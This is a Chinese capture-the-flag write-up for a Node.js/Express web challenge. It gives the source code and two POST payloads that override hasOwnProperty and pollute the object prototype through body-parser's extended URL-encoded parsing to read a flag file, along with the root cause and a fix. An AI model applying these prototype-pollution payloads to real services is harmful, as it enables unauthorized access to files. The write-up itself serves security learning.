源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
const express = require('express') //从package.json可以得知express的版本为4.17.2
const fs = require('fs')
var bodyParser = require('body-parser');
const app = express()
app.use(bodyParser.urlencoded({
extended: true
})); //定义bodyParser可以解析的数据格式,extended为true表示可以以数组的方式解析url编码数据
app.use(bodyParser.json());

app.post('/plz', (req, res) => {

venom = req.body.venom

if (Object.keys(venom).length < 3 && venom.welcome == 159753) {
try {
if(venom.hasOwnProperty("text")){
res.send(venom.text)
}else{
res.send("no text detected")
}
} catch {
if (venom.text=="flag") {
let flag=fs.readFileSync("/flag");
res.send("Congratulations:"+flag);
} else {
res.end("Nothing here!")
}
}
} else {
res.end("happy game");
}
})

app.get('/',
function(req, res, next) {
res.send('<title>oldjs</title><a>Hack me plz</a><br><form action="/plz" method="POST">text:<input type="text" name="venom[text]" value="ezjs"><input type="submit" value="Hack"></form> ');
});

app.listen(80, () => {
console.log(`listening at port 80`)
})

分析

从以上代码可以得知,想要得到flag,要经过三重判断:

1、venom这个对象的键不能超过3个,且venom.welcome = 159753

2、venom中不能含有text这个键

3、venom.text = ‘flag’

看起来2和3好像是互斥的条件

解题

由于venom.hasOwnProperty是由传入的参数可以决定的,所以传入venom[hasOwnProperty]=1覆盖掉原有的自带函数,就可以绕过条件2并且进入异常语句块

1
POST:venom[hasOwnProperty]=1&venom[text]=flag&venom[welcome]=159753

POST尝试一下,就会发现此时与条件1发生了冲突,此时venom对象中出现了3个键,这时候自然而然的可以想到用nodejs的原型链污染(如果之前学过的话)

1
POST:venom[__proto__][text]=flag&venom[hasOwnProperty]=1&venom[welcome]=159753

得到flag!

原理

覆盖掉hasOwnProperty是用的用户传入的参数,如果不想被覆盖的话可以用venom原型中的hasOwnProperty()去检查或者其他安全的方法检查

传入参数中的原型链污染是express4.17.2及以下出现的漏洞,通过数组形式可以污染对象的原型链

1
2
3
参考链接(照着官方wp写是吧):
https://github.com/ChaMd5Team/Venom-WP/tree/main/2024VenomCTF/2024_vctf_web_hackjs/writeup
https://www.xujun.org/note-155443.html

碎碎念

本地打的时候一定要注意版本,不然就会出现本地打过不了的情况,特么的怀疑人生